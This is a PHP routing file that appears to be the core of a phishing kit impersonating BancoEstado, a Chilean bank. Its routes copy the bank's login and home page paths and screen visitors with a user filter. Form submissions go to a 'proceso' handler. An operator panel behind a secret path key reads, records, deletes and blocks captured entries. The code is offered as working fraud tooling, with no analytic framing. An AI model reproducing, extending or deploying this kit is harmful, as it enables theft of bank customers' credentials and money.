<?php
//echo "";
//exit();
if (!isset($_SESSION)) :
    session_start();
endif;

date_default_timezone_set('America/Santiago');

require 'app/config.php';
require 'app/sokotroko.php';

$routCl = new Router();
//FILTRANDO USUARIO
$routCl->addRouting('/', 'Checkuser::filterIN');

if ( isset($_SESSION['referido']) ) :
    $routCl->addRouting('/'.$_SESSION['referido'].'/imagenes/_personas/home/default.asp', 'Vistas::viewHome');
    $routCl->addRouting('/'.$_SESSION['referido'].'/bancoestado/process.asp', 'Vistas::viewHomeEmpresas');
    
    
    
    $routCl->addRouting('/'.$_SESSION['referido'].'/LoginJSFGenerico', 'Vistas::viewfail');
    $routCl->addRouting('/'.$_SESSION['referido'].'/post/api/req', 'Post::proceso');
    $routCl->addRouting('/'.$_SESSION['referido'].'/post/req/soho', 'Post::proceso');
endif;

if ( isset($_SESSION['u']) && isset($_SESSION['referido'])) :
    $routCl->addRouting('/'.$_SESSION['referido'].'/content/bancoestado/cl/es/home.html', 'Vistas::template');
    $routCl->addRouting('/'.$_SESSION['referido'].'/bancoestado/process.asp/MID/AID/HOME-000/RQI/704BC9DB638147E69D06DF20CBE4F703/rnd/2F1DC493/ssnid/336A86CD', 'Vistas::templateEmpresa');
    
    //$routCl->addRouting('/'.$_SESSION['referido'].'/transa/segmentos/Menu/view.asp', 'Vistas::template');
    
    $routCl->addRouting('/'.$_SESSION['referido'].'/in_bie.htm', 'Vistas::template');
endif;


$routCl->addRouting('/cerrar/sesion', 'Vistas::closeSesion');
$routCl->addRouting('/'.clavepanel.'/install/bd', 'Panel::createDB');
$routCl->addRouting('/'.clavepanel.'/panel', 'Panel::viewpanel');
$routCl->addRouting('/'.clavepanel.'/panel/reading', 'Panel::reading');
$routCl->addRouting('/'.clavepanel.'/panel/grabar', 'Panel::grabar');
$routCl->addRouting('/'.clavepanel.'/panel/borraru', 'Panel::borraru');
$routCl->addRouting('/'.clavepanel.'/panel/bloqued', 'Panel::bloqued');
$routCl->addRouting('/'.clavepanel.'/panel/estado', 'Panel::setestado');
$routCl->addRouting('/'.clavepanel.'/panel/trfila', 'Panel::trfila');


$routCl->addRouting('/'.clavepanel.'/panel/logos', 'Panel::viewlogos');

$routCl->submit();